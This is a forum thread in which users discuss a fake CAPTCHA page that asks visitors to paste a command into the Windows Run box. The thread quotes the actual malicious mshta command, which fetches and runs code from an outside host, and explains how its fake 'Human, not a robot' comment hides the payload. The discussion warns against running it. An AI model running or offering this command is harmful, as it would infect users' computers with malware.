Submitted 1 day ago by HobbitFoot@thelemmy.club to [deleted]
https://thelemmy.club/pictrs/image/c826488e-2623-4e75-9ad8-c42dc615d217.png
The text it wants me to run is the following:
mshta check.dasoc.icu/gkcxv.google?i=888x8x8x-x8xx-8888… # Humаn, nоt а rоbоt: CAPTCHА Vеrіfісаtіоn ID: 552163’’
Looks like the site got hacked and wants be run malware, but I’ve never seen something like this before.
DO NOT FOLLOW THESE PROMPTS. This is a malicious prompt. It places malicious content in your clipboard, and requesting that you paste it into command prompt or powershell, which will infect you.
I know, but I like having the hackers on my computer, I just like the Idea that someone is paying attention to me and likes the same thing I do.
You’re making the local FBI field office jealous. Lol
I saw a post on this like 6 months ago. It was called a lumma attack.
It’s bad that this scam is running of course but, I have to say this particular scam has almost a nostalgic quality to it. It reminds me of the type of trickery that old school malware back in the day used to rely on to get on to people’s computers. It’s kind of quaint how unsophisticated it is and how much active work it requires of the victim to successfully infect them.
The “This is either phishing or a prank, in either case, fucking don’t” type Captcha
Lol this looks lile an April Fools prank.
Ctrl + V is paste, and most browsers do not require permission for the website to copy something into your clipboard (as opposed to pasting from your clipboard).
Pasting from clipboard is always sus, its obviously either malware or a prank.
Lmao yeah, I thought “haha funny joke” but people were genuinely asking
For future reference, never run any script or code or command unless you know what it is and does
That’s definitely trying to hack you.
From the instructions, I would say they are trying to convince them to hack themselves (and yes, I know, that’s how 95% of hacking works… But is that only me, or this one is so obvious that it hurts)
It’s not only you, but it definitely would fly over the heads of 95% of my co-workers.
Which website gave you those instructions? Name and shame.
Yeah, doesn’t mshta run JavaScript locally on Windows? This looks like a way to force you to run their script
www.virustotal.com/gui/url/…/detection
Possibly.
BTW, certain malware may be able to break out of a VM.
On the other, some malware may recognize that it is being run in a VM and do absolutely nothing to avoid analysis.
I’m sure proper malware analysts have dedicated non-virtual machines they can just format between tests.
Plausible.
mshta
I have now idea how somebody might come up with this braindead, unintuitive and irreproducable mnemonic for a JavaScript interpreter but it sounds very much like something Microsoft would do.
I’m curious what the script does, I’d love to reverse engineer it but don’t want to risk accidentally executing anything. Anyone with a disposable VM care to take the risk?
It checks if you’re both human AND not a bumbling tumbleweed.
Highly sophisticated Darwinian CAPTCHA
“A way out west there was this fella, fella I want to tell you about, fella by the name of Jeff Lebowski. At least, that was the handle his lovin’ parents gave him, but he never had much use for it himself. This Lebowski, he called himself the Dude. Now, Dude, that’s a name no one would self-apply where I come from. But then, there was a lot about the Dude that didn’t make a whole lot of sense to me. And a lot about where he lived, like-wise. But then again, maybe that’s why I found the place s’durned innarestin’.”
A dangerous one for sure…
Nice trick to feed your computer with a virus.
It’s called the ‘John Hammond attack’. Even though it existed before he added his 2 cents, what you see in your image is his addition.
Watch his video to see him explain it.
Well, if it was a Richard Hammond attack, it would probably crash itself.
HAMMOND YOU BLITHERING IDIOT!
At 200mph
aye!!! man of culture
And have it’s teeth whitened
before he added his 2 cents
He spared no expense, huh.
DONT DO IT. Hahahhahah
Yea good thing you didn’t. MSHTA is the app that lets you run Microsoft HTML Apps (usually used for their help articles). Those can contain JavaScript or VBScript code. And since you’re pasting it in a Run box it’ll happily execute it, even if it’s a remote source.
Generally it would only run as your user (you’re not admin are you?), which would still be enough to make your life miserable, but it could also try to run known exploits and raise itself to admin and own your whole computer.
Why wouldn’t a windows user be running as admin lol
Jokes on them, I use Linux. Wtf is that symbol next the to R?
Windows key. The graphic itself is what they used from windows 8-10.
Super key in Linux, command key in macOS.
It’s on some keyboards and opens the start menu on windows. It can, of course, also be used on Linux, because it’s just a key on a keyboard. For example, in Gnome it opens the overview per default (where you see all the windows as small tiles and can use the app search).
on my linux it opens the zorin menu which is pretty much like the start menu
It absolutely is malware. The Text you see is a comment appended to the end of a command that’ll download malicious software. The comment is placed in such a way that the command is out of frame.
Hopefully a Rick roll
Since I use a Mac, I don’t get this joke.
Does something malicious on windows. They can also do something similar by detecting your os and making you run the mac or linux alternative.
I do strongly encourage everyone to go back to pen and paper.
sort of /s but also sort of not /s
I did, it was that link.
I realized and deleted it. You caught me!
IHawkMike@lemmy.world 1 day ago
Definitely malware, as everyone has already said.
malwarebytes.com/…/fake-captcha-websites-hijack-y…